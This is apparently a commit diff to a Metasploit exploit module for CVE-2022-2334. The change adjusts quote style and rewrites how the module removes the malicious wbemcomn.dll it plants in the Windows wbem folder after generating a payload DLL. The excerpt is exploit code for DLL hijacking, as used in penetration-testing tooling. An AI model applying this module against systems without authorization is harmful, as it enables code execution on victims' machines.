@@ -185,7 +185,7 @@ def exploit
185
185
# have MSF create the malicious DLL
186
186
path = ::File . join ( Msf ::Config . data_directory , 'exploits' , 'CVE-2022-2334' )
187
187
datastore [ 'EXE::Path' ] = path
188
- datastore [ 'EXE::Template' ] = ::File . join ( path , " template_x64_windows.dll" )
188
+ datastore [ 'EXE::Template' ] = ::File . join ( path , ' template_x64_windows.dll' )
189
189
190
190
print_status ( 'Generating payload DLL...' )
191
191
dll = generate_payload_dll
@@ -258,31 +258,15 @@ def exploit
258
258
vprint_error ( "#{ peer } - #{ restore_config_res_json } " )
259
259
fail_with Failure ::UnexpectedReply , "#{ peer } - Returned code #{ restore_config_res . code } , could not restore configuration!"
260
260
end
261
-
262
- # if the exploit was successful, register the malicious wbemcomn.dll file for cleanup
263
- register_file_for_cleanup ( 'C:\\Windows\\System32\\wbem\\wbemcomn.dll' )
264
261
end
265
262
266
263
# clean up the planted DLL if the session is meterpreter
267
264
def on_new_session ( session )
268
265
super
269
266
270
- if session . type != 'meterpreter'
271
- print_error ( 'Meterpreter not used. Please manually remove C:\\Windows\\System32\\wbem\\wbemcomn.dll' )
272
- return
273
- end
274
-
275
- # load stdapi
276
- session . core . use ( 'stdapi' ) if !session . ext . aliases . include? ( 'stdapi' )
277
-
278
- begin
279
- files = session . fs . file . search ( 'C:\\Windows\\System32\\wbem' , 'wbemcomn.dll' )
280
- files . each do |f |
281
- print_warning ( "Deleting: #{ f [ 'path' ] + '\\' + f [ 'name' ] } " )
282
- session . fs . file . rm ( f [ 'path' ] + '\\' + f [ 'name' ] )
283
- end
284
- rescue StandardError => e
285
- print_error ( "Unable to delete - #{ e } " )
267
+ unless file_dropper_delete_file ( session , 'C:\\Windows\\System32\\wbem\\wbemcomn.dll' )
268
+ # if the exploit was successful, register the malicious wbemcomn.dll file for cleanup
269
+ register_file_for_cleanup ( 'C:\\Windows\\System32\\wbem\\wbemcomn.dll' )
286
270
end
287
271
end
288
272
0 commit comments